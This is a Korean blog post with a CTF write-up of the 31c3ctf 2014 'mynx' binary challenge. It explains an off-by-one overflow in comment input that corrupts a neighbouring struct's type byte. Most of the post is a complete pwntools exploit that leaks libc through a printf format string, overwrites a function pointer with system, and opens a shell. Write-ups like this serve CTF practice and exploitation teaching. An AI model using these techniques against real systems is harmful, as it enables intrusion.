Pwnable/CTF

31c3ctf 2014 mynx

HSr00t 2017. 10. 9. 01:28
여태까지 문제들을 풀이를 너무 보면서 한것같아서 이번문제부터는 최대한 풀이를 안 보고 풀어야겠다. 


시작메뉴는 이런식으로 acii_art 추가, 출력, 세부메뉴? 등이 있다.
취약점은 세부메뉴에서 comment 추가시키는 부분에 있는데 데이터부분을 252byte를 입력받는데 off by one 취약점이 생긴다.
1byte로 인해 다음 구조체에 플래그 부분을 조작할수있게된다.


 


아래 구조체 분석을 보면 함수 포인터가있는데 함수포인터는 select ascii_art 부분에 3번 메뉴로 있다.

 
1. or연산
2. LOLO 초기화
3. 소문자 초기화

기능은 이렇다.



그리고 문제에서 나오는 구조체는 아래와 같다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ascii art
[0= 0x48 
[1= index
[5= (&off_804A890 + 5 * input) == filter #function pointer()
[9= data
 
comment
[0= 0x36 
[1= index
[5= data
cs

누가봐도 구조체에 함수 포인터가 나오는거보니 함수 포인터를 조작하는 문제인것같다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
from pwn import *
 
p=process("./mynx")
elf=ELF("./mynx")
 
def add(filter_,ascii_art):
    p.recvuntil('> ')
    p.sendline("1")
    p.recvuntil('> ')
    p.sendline(str(filter_))
    p.recv(1024)
    p.send(ascii_art)
 
def browse():
    p.recvuntil('> ')
    p.sendline("2")
 
def select(id_):
    p.recvuntil('> ')
    p.sendline("3")
    p.recvuntil('> ')
    p.sendline(str(id_))
 
def add_com(comment):
    p.recvuntil('> ')
    p.sendline("1")
    p.recvuntil('> ')
    p.send(comment)
 
def remove_com():
    p.recvuntil('> ')
    p.sendline("2")
 
def apply_com():
    p.recvuntil('> ')
    p.sendline("3")
 
def back():
    p.recvuntil('> ')
    p.sendline("0")
 
add(0,"A"*247#1
add(1,"B"*247#2
 
select(1)
add_com("a"*251)
back()
 
add(1,"C"*247#3
 
select(2)
add_com("b"*251)
back()
 
select(3)
add_com(p32(elf.plt['printf'])+"%11$p")
back()
 
select(1)
remove_com()
add_com("a"*251+"\x37")
back()
 
select(2)
remove_com()
add_com("b"*251+"\x49")
back()
 
select(3)
apply_com()
apply_com()
libc_start_main = int(p.recv(10),16- 247
libc_base = libc_start_main - 0x18540
system = libc_base + 0x3ada0
print hex(libc_start_main)
print hex(libc_base)
print hex(system)
back()
 
 
add(0,"D"*247#4
add(1,"E"*247#5
 
select(4)
add_com("d"*251)
back()
 
add(1,"F"*247#6
 
select(5)
add_com("e"*251)
back()
 
select(6)
add_com(p32(system)+"/bin/sh\00")
back()
 
select(4)
remove_com()
add_com("a"*251+"\x37")
back()
 
select(5)
remove_com()
add_com("b"*251+"\x49")
back()
 
select(6)
apply_com()
 
p.interactive()
cs


취약점을 찾았는데 찾은지 모르고 삽질을 하는 바람에 푸는데 시간이 조금 오래걸린것같다.